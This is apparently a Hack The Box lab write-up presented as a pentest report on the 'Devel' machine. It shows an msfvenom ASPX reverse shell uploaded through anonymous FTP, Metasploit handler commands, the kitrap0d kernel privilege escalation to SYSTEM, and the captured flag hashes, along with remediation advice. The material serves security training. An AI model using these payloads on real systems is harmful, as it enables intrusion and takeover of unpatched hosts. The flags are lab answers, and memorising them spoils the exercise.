


# Intro

AGS solutions has been authorized by HTB to conduct an CPT on a VM they called "Devel". AGS solutions CPT is to verify if compromise is possible by any means. This documentation is a report of my entire engagement including findings, exploitation, and remediation and recommendations for such targets provided by HTB.

By: Robert Garcia

Jr Penetration Tester

Test Report



# AGSOLUTIONSADP

Cyber at your service

09/25/2022

# Disclaimer

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HTB acknowledges and accepts the following assumptions and limitations of liability as necessary to this type of engagement:

AGS solutions may use commercial and or common, readily available tools to perform the penetration test.

HTB understands that the AGS solutions will be engaged in mirror real world hacking activities and, such , may impede system performance, crash production systems and permit unapproved access.

HTB understands that the actions of AGS solutions may involve risks which are not known to the parties at this time and that may not be foreseen or reasonably foreseeable at this time.

Only authorized personnel should be looking at these documentation and any body outside of the SOW or ROE should have been added to view these documents by the appropriate parties in the ROE.

All parties that are authorized to view this documentation agree not to discuss it outside of work or with other parties other than internal entities that support and manage the target.

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# Credentials to Penetration Tester

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Robert J Garcia is the professional Penetration Tester that will be handling the Engagement.

Robert has 3 years of Pen Testing with platforms like HTB and THM.

Robert is deep into the art of network pen testing and has a good understanding of IR and Malware analysis.

Fun fact about Robert when he is not Pentesting he is being black hat at night self studying for Red Team operations and improving his TTP.

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# Scope

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AGS solutions has been given permission to do the following:

**Main Goal: Attempt to take over the VM and gain the admin or equivalent privilege's**

Related Task that could be required to complete for completion of Main goal:

- The ability to identify and retrieve proprietary or confidential information.
- The ability to gain unauthorized access to a system or device.
- Internal and external network and system enumeration
- Internal and external vulnerability scanning
- Information gathering and reconnaissance
- Simulate exfiltration of data

- Simulate or actually download hacking tools from approved external websites
- Attempt to obtain user and/or administrator credentials
- Attempt to subvert operating system security controls
- Attempt to install or alter software on target systems
- Attempt unauthorized access of resources to which the team should not have access



# Executive Summary

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I was tasked with performing a penetration test towards the `holo.live` domain and its network.

A penetration test is a dedicated attack against internally or externally connected systems.

This test focuses on performing attacks similar to those of a hacker and attempting to infiltrate each Node machine and owning it.

My objective was to comprise the domain controller for `holo.live`.

When performing the penetration test, several alarming vulnerabilities were identified on the network.

When performing the attacks, I was able to gain access to the VM called `Devel`, primarily due missing authentication on an FTP service, no restriction on what can be upload that resulted in getting a reverse shell on VM via the website being hosted, After getting on target I noticing the system is an older OS that is unsupported and has reached end of life in 2020, with little to no patching this led to the compromise of the VM `Devel` entirely as we leveraged a kernel exploit to get full controller aka "`NT Authority\System`" level access to `Devel` . The system as well as a brief description on how access was obtained are listed below:

Summary of Exploits found

IP Address	Domain Name	Exploit
10.129.70.136	(Devel)	Weak or no Authentication on services/ Unrestricted upload of files / Kernel Exploit

# Recommendations

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## Devel

After our controlled penetration test we recommend the following for your VM Devel and its security.

- Windows 7 needs to be patched or updated to a later OS
- AV on End point Node
- Disabled anonymous login
- proper log management to identify anomaly's such as anonymous logins attempts and other like etc...
- Policy for what can be upload or not and one for password policy
- Create an "accept known good" input strategy
- WAF or IPS/IDS
- Multi factor

All our recommendations are formulated from NIST and MITRE Att&ack institutions and there knowledge on best practice for such vulnerability's that we found on target during these engagement.

# Mythology

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Mythology Followed: CompTIA Pen+200

We are going to validate, verify and perform OSINT and other enumeration techniques that will paint a picture of our target's landscape and provide us a look at where there could be a manner of exploitation and intrusion.

We will exploit our finding and then establish a shell and in turn start the process over for the mythology we are following.

Our goal after compromise is to gather information about our user, the network the user is on and then attempt to move vertically or laterally based on the information we gather to the highest privileges' account in our case is the Domain controller Admin. Once we get to these points we will stop and conclude our Assessment, advise the appropriate parties and start the process of making the report.

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Report/Screenshot/Report/Untitled presentation 1.jpg" is  
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# Find and Remediation Devel

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## Finding

SYSTEM IP: 10.129.70.136

Service Enumeration: TCP:21,80

Nmap Scan Results:

```
PORT      STATE SERVICE REASON          VERSION
21/tcp    open  ftp      syn-ack ttl 127 Microsoft ftpd
| ftp-syst:
|_  SYST: Windows_NT
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
| 03-18-17 02:06AM      <DIR>          aspnet_client
| 03-17-17 05:37PM                      689 iisstart.htm
|_ 03-17-17 05:37PM                      184946 welcome.png
80/tcp    open  http      syn-ack ttl 127 Microsoft IIS httpd 7.5
|_ http-title: IIS7
| http-methods:
|   Supported Methods: OPTIONS TRACE GET HEAD POST
|_  Potentially risky methods: TRACE
|_ http-server-header: Microsoft-IIS/7.5
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows
```

## Vulnerability Explanation:

So far we have FTP service that allows anonymous access. The FTP server access is the direct web directory to the website being hosted on port 80. There is no file restriction in what we upload to the FTP server either. We take over the target by uploading a .aspx reverse shell that connects back to our Metasploit listener.

## Vulnerability Fix:

- Disabled anonymous login
- proper log management to identify anomaly's such as anonymous logins attempts and other like etc...
- Policy for what can be upload or not
- Create an "accept known good" input strategy
- WAF or IPS/IDS

## Severity or Criticality:

Critical 10/10

## Exploit Code:

```
msfvenom -p windows/shell_reverse_tcp lhost=10.10.14.4
lport=4443 -f aspx > shell.aspx
```

## Proof of Concept Here:

```
on to prevent this
2022-09-23 02:05:22 Initialization Sequence Completed

(kali@kali)~[~]
$ ifconfig tun0 | grep inet
inet 10.10.14.4 netmask 255.255.254.0 destination 10.10.14.4

(kali@kali)~[~/Desktop/Target/Exploit/FTP]
$ 

(kali@kali)~[~/Desktop/Target/Exploit/FTP]
$ sudo rlwrap nc -nlvp 4443
listening on [any] 4443 ...
connect to [10.10.14.4] from (UNKNOWN) [10.129.70.136] 49190
Microsoft Windows [Version 6.1.7600]
Copyright (c) 2009 Microsoft Corporation. All rights reserved.

whoami
whoami
iis apppool\web

c:\windows\system32\inetsrv>

ftp> put shell.aspx
local: shell.aspx remote: shell.aspx
229 Entering Extended Passive Mode (|||49188|)
125 Data connection already open; Transfer starting.
100% |*****
226 Transfer complete.
2755 bytes sent in 00:00 (119.29 KiB/s)
ftp>
```

Local.txt Proof Screenshot:

```
C:\Users\babis\Desktop>whoami
whoami
nt authority\system

C:\Users\babis\Desktop>type user.txt
type user.txt
72f65881850e117eeebc62d1a64c254b

C:\Users\babis\Desktop>hostname
hostname
devel

C:\Users\babis\Desktop>ipconfig
ipconfig

Windows IP Configuration

Ethernet adapter Local Area Connection 4:

    Connection-specific DNS Suffix  . : .htb
    IPv6 Address. . . . . : dead:beef::9818:53a6:f08:a517
    Temporary IPv6 Address. . . . . : dead:beef::fdc3:d25c:3d1a:7a32
    Link-local IPv6 Address . . . . . : fe80::9818:53a6:f08:a517%19
    IPv4 Address. . . . . : 10.129.182.10
    Subnet Mask . . . . . : 255.255.0.0
    Default Gateway . . . . . : fe80::250:56ff:feb9:2bb5%19
                                10.129.0.1
```

Overall Risk Severity	Likelihood Factor	Impact Factor	Score Vector:
Critical	High	High	CVSS:3.1/AV:N/AC:L/PR:N/UI:

Privileges Escalation

SYSTEM IP: 10.129.70.136 (IP may have changed due to resting the VM)

IIS APPPOOL/Web to NT Authority/System

## Vulnerability Exploited:

Kernel Exploit

## Vulnerability Explanation:

The kernel in Microsoft Windows NT 3.1 through Windows 7, including Windows 2000 SP4, Windows XP SP2 and SP3, Windows Server 2003 SP2, Windows Vista Gold, SP1, and SP2, and Windows Server 2008 Gold and SP2, when access to 16-bit applications is enabled on a 32-bit x86 platform, does not properly validate certain BIOS calls, which allows local users to gain privileges by crafting a VDM\_TIB data structure in the Thread Environment Block (TEB), and then calling the NtVdmControl function to start the Windows Virtual DOS Machine (aka NTVDM) subsystem, leading to improperly handled exceptions involving the GP trap handler (nt!KiTrap0D), aka "Windows Kernel Exception Handler Vulnerability."

## Vulnerability Fix:

Microsoft has released a set of patches for Windows 2000, XP, 2003, Vista, 2008 and 7.

## Severity or Criticality:

CRITICAL 10/10

## Exploit Code:

<https://www.exploit-db.com/exploits/11199>

## Proof of Concept Here:

```
msf6 exploit(windows/local/ms10_015_kitrap0d) > sessions -i

Active sessions
=====

  Id  Name  Type  Information  Connection
  --  ---  ---  -
  11   meterpreter x86/windows IIS APPPOOL\Web @ DEVEL 10.10.14.4:8081 -> 10.129.182.10:49159 (10.129.229.64)
  12   meterpreter x86/windows NT AUTHORITY\SYSTEM @ DEVEL 10.10.14.4:7777 -> 10.129.182.10:49163 (10.129.182.10)

msf6 exploit(windows/local/ms10_015_kitrap0d) > sessions -i 12
[*] Starting interaction with 12...

meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
meterpreter > █
```



root.txt Proof Screenshot:

```
C:\Users\Administrator\Desktop>whoami
whoami
nt authority\system

C:\Users\Administrator\Desktop>type root.txt
type root.txt
7eeb41b60274545e402cf8fa2aa356c7

C:\Users\Administrator\Desktop>hostname
hostname
devel


C:\Users\Administrator\Desktop>ipconfig
ipconfig

Windows IP Configuration

Ethernet adapter Local Area Connection 4:

    Connection-specific DNS Suffix  . : .htb
    IPv6 Address. . . . . : dead:beef::9818:53a6:f08:a517
    Temporary IPv6 Address. . . . . : dead:beef::fdc3:d25c:3d1a:7a32
    Link-local IPv6 Address . . . . . : fe80::9818:53a6:f08:a517%19
    IPv4 Address. . . . . : 10.129.182.10
    Subnet Mask . . . . . : 255.255.0.0
    Default Gateway . . . . . : fe80::250:56ff:feb9:2bb5%19
                                10.129.0.1
```

Overall Risk Severity	Likelihood Factor	Impact Factor	Score Vector:
Critical	High (LF:6.375)	High (IF:6.25)	SL:9/M:9/O:7/S:1/ED:8/EE




# Entire Kill Chain

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## OSINT

We do not get much from the start. We get an idea of our target and what it might be having issue with from the banner of HTB website.



We start up our VM and we grab the IP and create a variable to make it easier to run our scans.

```
10.129.70.136
```

```
(kali㉿kali)-[~/Desktop/Target/Scan]  
$ export TargetIP=10.129.70.136
```

## Discovery

```
sudo nmap -vv --reason -T4 -Pn -sC -sV --open -p- -oA  
full $TargetIP --min-rate 5000
```

Snippet (Refer to Appendix for entire scan details)

```
PORT      STATE SERVICE REASON          VERSION
21/tcp    open  ftp      syn-ack ttl 127 Microsoft ftpd
| ftp-syst:
|_  SYST: Windows_NT
| ftp-anon: Anonymous FTP login allowed (FTP code 230)
| 03-18-17 02:06AM      <DIR>          aspnet_client
| 03-17-17 05:37PM                      689 iisstart.htm
|_03-17-17 05:37PM                      184946 welcome.png
80/tcp    open  http      syn-ack ttl 127 Microsoft IIS httpd 7.5
|_http-title: IIS7
| http-methods:
|   Supported Methods: OPTIONS TRACE GET HEAD POST
|_  Potentially risky methods: TRACE
|_http-server-header: Microsoft-IIS/7.5
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows
```

We can see there is an FTP service open and it allows anonymous login. We can see there files being hosted as well. Another port we see is HTTP on port 80 being active. This might be a website.

## FTP 21

We wanted to validated we can log in and anonymous access is a true positive

```
(kali㉿kali)-[~/Desktop/Target/Scan/FTP_Manual]
$ ftp 10.129.70.136
Connected to 10.129.70.136.
220 Microsoft FTP Service
Name (10.129.70.136:kali): anonymous
331 Anonymous access allowed, send identity (e-mail name) as password.
Password:
230 User logged in.
Remote system type is Windows_NT.
ftp> ls
229 Entering Extended Passive Mode (|||49159|)
125 Data connection already open; Transfer starting.
03-18-17  02:06AM      <DIR>          aspnet_client
03-17-17  05:37PM                  689 iisstart.htm
03-17-17  05:37PM             184946 welcome.png
226 Transfer complete.
ftp> █
```

```
wget -m ftp://anonymous:anonymous@10.129.70.136
```

We use the command above to download what we can from the website so we can analysis files offline.


```
echo "<html><body>hello</body></html>" > test.html
```

# We also have the ability to upload files


```
(kali㉿kali)-[~/Desktop/Target/Scan/FTP_Manual]
└─$ ftp 10.129.70.136
Connected to 10.129.70.136.
220 Microsoft FTP Service
Name (10.129.70.136:kali): anonymous
331 Anonymous access allowed, send identity (e-mail name) as password.
Password:
230 User logged in.
Remote system type is Windows_NT.
ftp> dir
229 Entering Extended Passive Mode (|||49171|)
150 Opening ASCII mode data connection.
03-18-17 02:06AM <DIR> aspnet_client
03-17-17 05:37PM 689 iisstart.htm
03-17-17 05:37PM 184946 welcome.png
226 Transfer complete.
ftp> put test.html
local: test.html remote: test.html
229 Entering Extended Passive Mode (|||49172|)
125 Data connection already open; Transfer starting.
100% |*****| 33 619.74 KiB/s --:-- ETA
226 Transfer complete.
33 bytes sent in 00:00 (1.44 KiB/s)
ftp> dir
229 Entering Extended Passive Mode (|||49173|)
125 Data connection already open; Transfer starting.
03-18-17 02:06AM <DIR> aspnet_client
03-17-17 05:37PM 689 iisstart.htm
09-23-22 09:28AM 33 test.html
03-17-17 05:37PM 184946 welcome.png
226 Transfer complete.
ftp> █
```

## HTTP 80

We see if we can access our file via browser



To my surprise we are able to grab our file




hello

From here I want to see if I can get a payload involved and get it executed via the browser. Lets get to work.

# Initial Foot hold

After some time we got a on target reverse shell.

```
msfvenom -p windows/shell_reverse_tcp lhost=10.10.14.4  
lport=4443 -f aspx > shell.aspx
```



The screenshot shows a Kali Linux terminal window with the following commands and output:

```
on to prevent this  
2022-09-23 02:05:22 Initialization Sequence Completed  
[...]  
(kali@kali)~  
$ ifconfig tun0 | grep inet  
inet 10.10.14.4 netmask 255.255.254.0 destination 10.10.14.4  
[...]  
(kali@kali)~  
$ sudo rlrwrap nc -nlvp 4443  
listening on [any] 4443 ...  
connect to [10.10.14.4] from (UNKNOWN) [10.129.70.136] 49190  
Microsoft Windows [Version 6.1.7600]  
Copyright (c) 2009 Microsoft Corporation. All rights reserved.  
  
whoami  
whoami  
iis apppool\web  
  
c:\windows\system32\inetsrv>  
[...]  
ftp> put shell.aspx  
local: shell.aspx remote: shell.aspx  
229 Entering Extended Passive Mode (|||49188|)  
125 Data connection already open; Transfer starting.  
100% |*****  
226 Transfer complete.  
2755 bytes sent in 00:00 (119.29 KiB/s)  
ftp>
```

A web browser window is also open, showing the URL `10.129.70.136/shell.aspx`. The browser's address bar shows the URL, and the page content is mostly blank, indicating a successful connection to the reverse shell.

10.129.70.136

```
systeminfo | findstr /B /C:"OS Name" /C:"OS Version"  
/C:"System Type"
```

We can see we are running **Windows 7 32 bit** and we have a build and a version **Build 7600 6.1.7600**

```
systeminfo | findstr /B /C:"OS Name" /C:"OS Version" /C:"System Type"  
OS Name:                Microsoft Windows 7 Enterprise  
OS Version:             6.1.7600 N/A Build 7600  
System Type:            X86-based PC  
  
C:\>█
```

We use a tool on there called Winpeas.bat, you can check out the entire scan in the Appendix of the Report. We got some more info on the OS and system we are on.

```
Host Name:                DEVEL  
OS Name:                  Microsoft Windows 7 Enterprise  
OS Version:              6.1.7600 N/A Build 7600  
OS Manufacturer:        Microsoft Corporation  
OS Configuration:       Standalone Workstation  
OS Build Type:            Multiprocessor Free  
Registered Owner:        babis  
Registered Organization:   
Product ID:              55041-051-0948536-86302  
Original Install Date:   17/3/2017, 4:17:31 ♦♦  
System Boot Time:        23/9/2022, 9:07:08 ♦♦  
System Manufacturer:     VMware, Inc.  
System Model:             VMware Virtual Platform  
System Type:              X86-based PC  
Processor(s):            1 Processor(s) Installed.  
                          [01]: x64 Family 6 Model 85 Stepping 7 GenuineIntel ~2294 Mhz  
BIOS Version:            Phoenix Technologies LTD 6.00, 12/12/2018  
Windows Directory:       C:\Windows  
System Directory:        C:\Windows\system32  
Boot Device:             \Device\HarddiskVolume1  
System Locale:            el;Greek  
Input Locale:            en-us;English (United States)  
Time Zone:               (UTC+02:00) Athens, Bucharest, Istanbul  
Total Physical Memory:   3.071 MB  
Available Physical Memory: 2.473 MB  
Virtual Memory: Max Size: 6.141 MB  
Virtual Memory: Available: 5.550 MB  
Virtual Memory: In Use:  591 MB  
Page File Location(s):   C:\pagefile.sys  
Domain:                  HTB
```



After much digging around we found that this might be Kernel Exploit as there is a lot of patches missing.

```
"Microsoft Windows 7 Enterprise  "
[i] Possible exploits (https://github.com/codingo/OSCP-2/blob/master/Windows/WinPrivCheck.bat)
MS11-080 patch is NOT installed XP/SP3,2K3/SP3-afd.sys)
MS16-032 patch is NOT installed 2K8/SP1/2,Vista/SP2,7/SP1-secondary logon)
MS11-011 patch is NOT installed XP/SP2/3,2K3/SP2,2K8/SP2,Vista/SP1/2,7/SP0-WmiTraceMessageVa)
MS10-59 patch is NOT installed 2K8,Vista,7/SP0-Chimichurri)
MS10-21 patch is NOT installed 2K/SP4,XP/SP2/3,2K3/SP2,2K8/SP2,Vista/SP0/1/2,7/SP0-Win Kernel)
MS10-092 patch is NOT installed 2K8/SP0/1/2,Vista/SP1/2,7/SP0-Task Sched)
MS10-073 patch is NOT installed XP/SP2/3,2K3/SP2/2K8/SP2,Vista/SP1/2,7/SP0-Keyboard Layout)
MS17-017 patch is NOT installed 2K8/SP2,Vista/SP2,7/SP1-Registry Hive Loading)
MS10-015 patch is NOT installed 2K,XP,2K3,2K8,Vista,7-User Mode to Ring)
MS08-025 patch is NOT installed 2K/SP4,XP/SP2,2K3/SP1/2,2K8/SP0,Vista/SP0/1-win32k.sys)
MS06-049 patch is NOT installed 2K/SP4-ZwQuerySysInfo)
MS06-030 patch is NOT installed 2K,XP/SP2-Mrxsmb.sys)
MS05-055 patch is NOT installed 2K/SP4-APC Data-Free)
MS05-018 patch is NOT installed 2K/SP3/4,XP/SP1/2-CSRSS)
MS04-019 patch is NOT installed 2K/SP2/3/4-Utility Manager)
MS04-011 patch is NOT installed 2K/SP2/3/4,XP/SP0/1-LSASS service BoF)
MS04-020 patch is NOT installed 2K/SP4-POSIX)
MS14-040 patch is NOT installed 2K3/SP2,2K8/SP2,Vista/SP2,7/SP1-afd.sys Dangling Pointer)
MS16-016 patch is NOT installed 2K8/SP1/2,Vista/SP2,7/SP1-WebDAV to Address)
MS15-051 patch is NOT installed 2K3/SP2,2K8/SP2,Vista/SP2,7/SP1-win32k.sys)
MS14-070 patch is NOT installed 2K3/SP2-TCP/IP)
MS13-005 patch is NOT installed Vista,7,8,2008,2008R2,2012,RT-hwnd_broadcast)
MS13-053 patch is NOT installed 7SP0/SP1_x86-schlamperei)
MS13-081 patch is NOT installed 7SP0/SP1_x86-track_popup_menu)
```

We had moved back to a metepreter so we can utilize its priv tools

```
Kali: msfvenom -p windows/meterpreter_reverse_tcp
lhost=10.10.14.4 lport=8080 -f aspx > shell.aspx
```

MSF:

```
use multi/handler
```

```
set payload windows/meterpreter_reverse_tcp
```

```
set LPORT 8080
```

```
set LHOST 10.10.14.4
```

```
run
```

Exploit file via browser:

```
http://IP/shell.aspx
```

```
msf6 exploit(multi/handler) > sessions

Active sessions
=====

  Id  Name  Type           Information           Connection
  --  ---  ---           -
  11           meterpreter x86/windows IIS APPPOOL\Web @ DEVEL 10.10.14.4:8081 -> 10.129.182.10:49159 (10.129.229.64)

msf6 exploit(multi/handler) > sessions -i 11
[*] Starting interaction with 11...

meterpreter > getuid
Server username: IIS APPPOOL\Web
meterpreter >
```

We want to run MSF exploit suggested and see if we get a hit and validated our gathering information already

```
cd %TEMP%
background
use exploit/windows/local/ms10_015_kitrap0d
LPORT 7777
LHOST 10.10.14.2
sessions 11
run
```

After running our exploit suggerter we found that one of the exploits is called 'kitrap0d'. I have used the exploit before and the target windows we have is perfect. We background our meterpreter and jump to the kernel exploit and attached it to our session 11. After running it we are NT Authority.

```
msf6 exploit(windows/local/ms10_015_kitrap0d) > sessions -i

Active sessions
=====

  Id  Name  Type           Information           Connection
  --  ---  ---           -
  11           meterpreter x86/windows IIS APPPOOL\Web @ DEVEL 10.10.14.4:8081 -> 10.129.182.10:49159 (10.129.229.64)
  12           meterpreter x86/windows NT AUTHORITY\SYSTEM @ DEVEL 10.10.14.4:7777 -> 10.129.182.10:49163 (10.129.182.10)

msf6 exploit(windows/local/ms10_015_kitrap0d) > sessions -i 12
[*] Starting interaction with 12...

meterpreter > getuid
Server username: NT AUTHORITY\SYSTEM
meterpreter > █
```

## Root.txt

```
7eeb41b60274545e402cf8fa2aa356c7
```

```
C:\Users\Administrator\Desktop>whoami
```

```
whoami
```

```
nt authority\system
```

```
C:\Users\Administrator\Desktop>type root.txt
```

```
type root.txt
```

```
7eeb41b60274545e402cf8fa2aa356c7
```

```
C:\Users\Administrator\Desktop>hostname
```

```
hostname
```

```
devel
```

```
C:\Users\Administrator\Desktop>ipconfig
```

```
ipconfig
```

```
Windows IP Configuration
```

```
Ethernet adapter Local Area Connection 4:
```

```
Connection-specific DNS Suffix . : .htb
```

```
IPv6 Address. . . . . : dead:beef::9818:53a6:f08:a517
```

```
Temporary IPv6 Address. . . . . : dead:beef::fdc3:d25c:3d1a:7a32
```

```
Link-local IPv6 Address . . . . . : fe80::9818:53a6:f08:a517%19
```

```
IPv4 Address. . . . . : 10.129.182.10
```

```
Subnet Mask . . . . . : 255.255.0.0
```

```
Default Gateway . . . . . : fe80::250:56ff:feb9:2bb5%19  
10.129.0.1
```

## Local.txt

```
72f65881850e117eeebc62d1a64c254b
```

```
C:\Users\babis\Desktop>whoami
whoami
nt authority\system
```

```
C:\Users\babis\Desktop>type user.txt
type user.txt
72f65881850e117eeebc62d1a64c254b
```

```
C:\Users\babis\Desktop>hostname
hostname
devel
```

```
C:\Users\babis\Desktop>ipconfig
ipconfig
```

## Windows IP Configuration

### Ethernet adapter Local Area Connection 4:

```
Connection-specific DNS Suffix  . : .htb
IPv6 Address. . . . . : dead:beef::9818:53a6:f08:a517
Temporary IPv6 Address. . . . . : dead:beef::fdc3:d25c:3d1a:7a32
Link-local IPv6 Address . . . . . : fe80::9818:53a6:f08:a517%19
IPv4 Address. . . . . : 10.129.182.10
Subnet Mask . . . . . : 255.255.0.0
Default Gateway . . . . . : fe80::250:56ff:feb9:2bb5%19
                             10.129.0.1
```

---

# Removal of Tools

---

1. During our engagement we kept most of our script and binary's in a folder of our control called DB\_Folder and when done on target we would delete the folder. Directories that were used for the engagement are listed below, starting with Windows :

2. C:\Windows\System32\spool\drivers\color\

3. C:\Windows\Temp

4. C:\Windows\Administrator\Downloads

5. C:\Users\Public\

6. C:\Users\username\Downloads

7. C:\Windows\Tasks\

7.) C:/inetpub/wwwroot/

2. Actions such as password reset and plain text discoveries we advised to change and or update the password to something else
3. All shells that were open or created during the engagement have been terminated
4. All artifacts have been deleted that related to the engagement and VM used for engagement has been deleted as well

# References

---

Main Reference and resources pulled from:

1. <https://nvd.nist.gov/vuln>
2. <https://cve.mitre.org/>
3. <https://attack.mitre.org/tactics/enterprise/>
4. <https://www.exploit-db.com/>
5. <https://capec.mitre.org/>

## (Devel) Exploit and Mitigation References

### Exploit

- <https://cwe.mitre.org/data/definitions/284.html>
- <https://cwe.mitre.org/data/definitions/434.html>
- <https://www.tenable.com/cve/CVE-1999-0497>
- <https://www.first.org/cvss/calculator/3.1>

- [https://www.rapid7.com/db/modules/exploit/windows/local/ms10\\_015\\_kitrap0d/](https://www.rapid7.com/db/modules/exploit/windows/local/ms10_015_kitrap0d/)
- <https://www.exploit-db.com/exploits/11199>

## Mitigation

- <https://nvlpubs.nist.gov/nistpubs/legacy/sp/nistspecialpublication800-123.pdf>
- <https://owasp.org/www-project-web-security-testing-guide/>
- <https://learn.microsoft.com/en-us/iis/configuration/system.ftpserver/security/>
- <https://www.jscape.com/blog/the-ultimate-guide-to-hardening-your-secure-file-transfer-server>
- <https://vk9-sec.com/kitrap0d-windows-kernel-could-allow-elevation-of-privilege-ms10-015-cve-2010-0232/>
- <https://www.tenable.com/plugins/nessus/44425>



# Appendix

---

## Password and username found or created during engagement

Username	Password	Note
n/a	n/a	n/a

# Loot

This portion of the Reports contain scans and output that might be needed to viewed again or validated.

## Full Scan on (10.129.70.136)

```
sudo nmap -vv --reason -T4 -Pn -sC -sV --open -p- -oA  
full $TargetIP --min-rate 5000
```

```
# Nmap 7.92 scan initiated Fri Sep 23 02:11:12 2022 as:  
nmap -vv --reason -T4 -Pn -sC -sV --open -p- -oA full --  
min-rate 5000 10.129.70.136  
Nmap scan report for 10.129.70.136  
Host is up, received user-set (0.022s latency).  
Scanned at 2022-09-23 02:11:12 EDT for 34s  
Not shown: 65533 filtered tcp ports (no-response)  
Some closed ports may be reported as filtered due to --  
defeat-rst-ratelimit  
PORT      STATE SERVICE REASON          VERSION  
21/tcp    open  ftp      syn-ack ttl 127 Microsoft ftpd  
| ftp-syst:  
|_  SYST: Windows_NT  
| ftp-anon: Anonymous FTP login allowed (FTP code 230)  
| 03-18-17 02:06AM      <DIR>          aspnet_client  
| 03-17-17 05:37PM                      689 iisstart.htm  
|_03-17-17 05:37PM                      184946 welcome.png  
80/tcp    open  http     syn-ack ttl 127 Microsoft IIS httpd  
7.5  
|_http-title: IIS7  
| http-methods:  
|   Supported Methods: OPTIONS TRACE GET HEAD POST
```

```
|_ Potentially risky methods: TRACE
|_http-server-header: Microsoft-IIS/7.5
Service Info: OS: Windows; CPE: cpe:/o:microsoft:windows

Read data files from: /usr/bin/../share/nmap
Service detection performed. Please report any incorrect
results at https://nmap.org/submit/ .
# Nmap done at Fri Sep 23 02:11:46 2022 -- 1 IP address
(1 host up) scanned in 33.74 seconds
```

# Winpeas.bat scan done on (10.129.70.136)

Host Name:	DEVEL
OS Name:	Microsoft Windows 7 Enterprise
OS Version:	6.1.7600 N/A Build 7600
OS Manufacturer:	Microsoft Corporation
OS Configuration:	Standalone Workstation
OS Build Type:	Multiprocessor Free
Registered Owner:	babis
Registered Organization:	
Product ID:	55041-051-0948536-86302
Original Install Date:	17/3/2017, 4:17:31 ££
System Boot Time:	23/9/2022, 9:07:08 §£
System Manufacturer:	VMware, Inc.

System Model: VMware Virtual Platform

System Type: X86-based PC

Processor(s): 1 Processor(s) Installed.

[01]: x64 Family 6 Model 85  
Stepping 7 GenuineIntel ~2294 Mhz

BIOS Version: Phoenix Technologies LTD 6.00,  
12/12/2018

Windows Directory: C:\Windows

System Directory: C:\Windows\system32

Boot Device: \Device\HarddiskVolume1

System Locale: el;Greek

Input Locale: en-us;English (United States)

Time Zone: (UTC+02:00) Athens, Bucharest,  
Istanbul

Total Physical Memory: 3.071 MB

Available Physical Memory: 2.473 MB

Virtual Memory: Max Size: 6.141 MB

Virtual Memory: Available: 5.550 MB

Virtual Memory: In Use: 591 MB

Page File Location(s): C:\pagefile.sys

Domain: HTB

Logon Server: N/A

Hotfix(s): N/A

Network Card(s): 1 NIC(s) Installed.

[01]: vmxnet3 Ethernet Adapter

Connection Name: Local

Area Connection 4

DHCP Enabled: Yes

DHCP Server:

10.129.0.1

IP address(es)

[01]: 10.129.70.136

[02]:

fe80::f07b:e940:398b:4b87

[03]:

dead:beef::5da9:280d:b591:a8c6

[04]:

dead:beef::f07b:e940:398b:4b87

"Microsoft Windows 7 Enterprise "

[i] Possible exploits

(<https://github.com/codingo/0SCP-2/blob/master/Windows/WinPrivCheck.bat>)

MS11-080 patch is NOT installed XP/SP3,2K3/SP3-afd.sys)

MS16-032 patch is NOT installed  
2K8/SP1/2,Vista/SP2,7/SP1-secondary logon)

MS11-011 patch is NOT installed  
XP/SP2/3,2K3/SP2,2K8/SP2,Vista/SP1/2,7/SP0-  
WmiTraceMessageVa)

MS10-59 patch is NOT installed 2K8,Vista,7/SP0-  
Chimichurri)

MS10-21 patch is NOT installed

2K/SP4,XP/SP2/3,2K3/SP2,2K8/SP2,Vista/SP0/1/2,7/SP0-Win  
Kernel)

MS10-092 patch is NOT installed

2K8/SP0/1/2,Vista/SP1/2,7/SP0-Task Sched)

MS10-073 patch is NOT installed

XP/SP2/3,2K3/SP2/2K8/SP2,Vista/SP1/2,7/SP0-Keyboard  
Layout)

MS17-017 patch is NOT installed 2K8/SP2,Vista/SP2,7/SP1-  
Registry Hive Loading)

MS10-015 patch is NOT installed 2K,XP,2K3,2K8,Vista,7-  
User Mode to Ring)

MS08-025 patch is NOT installed

2K/SP4,XP/SP2,2K3/SP1/2,2K8/SP0,Vista/SP0/1-win32k.sys)

MS06-049 patch is NOT installed 2K/SP4-ZwQuerySysInfo)

MS06-030 patch is NOT installed 2K,XP/SP2-Mrxsmb.sys)

MS05-055 patch is NOT installed 2K/SP4-APC Data-Free)

MS05-018 patch is NOT installed 2K/SP3/4,XP/SP1/2-CSRSS)

MS04-019 patch is NOT installed 2K/SP2/3/4-Utility  
Manager)

MS04-011 patch is NOT installed 2K/SP2/3/4,XP/SP0/1-LSASS



service BoF)

MS04-020 patch is NOT installed 2K/SP4-POSIX)

MS14-040 patch is NOT installed

2K3/SP2,2K8/SP2,Vista/SP2,7/SP1-afd.sys Dangling Pointer)

MS16-016 patch is NOT installed

2K8/SP1/2,Vista/SP2,7/SP1-WebDAV to Address)

MS15-051 patch is NOT installed

2K3/SP2,2K8/SP2,Vista/SP2,7/SP1-win32k.sys)

MS14-070 patch is NOT installed 2K3/SP2-TCP/IP)

MS13-005 patch is NOT installed

Vista,7,8,2008,2008R2,2012,RT-hwnd\_broadcast)

MS13-053 patch is NOT installed 7SP0/SP1\_x86-schlamperei)

MS13-081 patch is NOT installed 7SP0/SP1\_x86-track\_popup\_menu)

[33m[+] [97m DATE and TIME

[i] You may need to adjust your local date/time to exploit some vulnerability

.. 23/09/2022

10:15 §£

[33m[+] [97m Audit Settings

[i] Check what is being logged

[33m[+] [97m WEF Settings

[i] Check where are being sent the logs

[33m[+] [97m LAPS installed?

[i] Check what is being logged

[33m[+] [97m LSA protection?

[i] Active if "1"

[33m[+] [97m Credential Guard?

[i] Active if "1" or "2"

[33m[+] [97m WDigest?

[i] Plain-text creds in memory if "1"

[33m[+] [97m Number of cached creds

[i] You need System-rights to extract them

HKEY\_LOCAL\_MACHINE\SOFTWARE\Microsoft\Windows  
NT\CurrentVersion\Winlogon

CACHEDLOGONSCOUNT	REG_SZ	10
-------------------	--------	----

[33m[+] [97m UAC Settings

[i] If the results read ENABLELUA REG\_DWORD 0x1, part  
or all of the UAC components are on

```
[?] https://book.hacktricks.xyz/windows-  
hardening/windows-local-privilege-escalation#basic-uac-  
bypass-full-file-system-access
```

```
HKEY_LOCAL_MACHINE\Software\Microsoft\Windows\CurrentVers  
ion\Policies\System
```

```
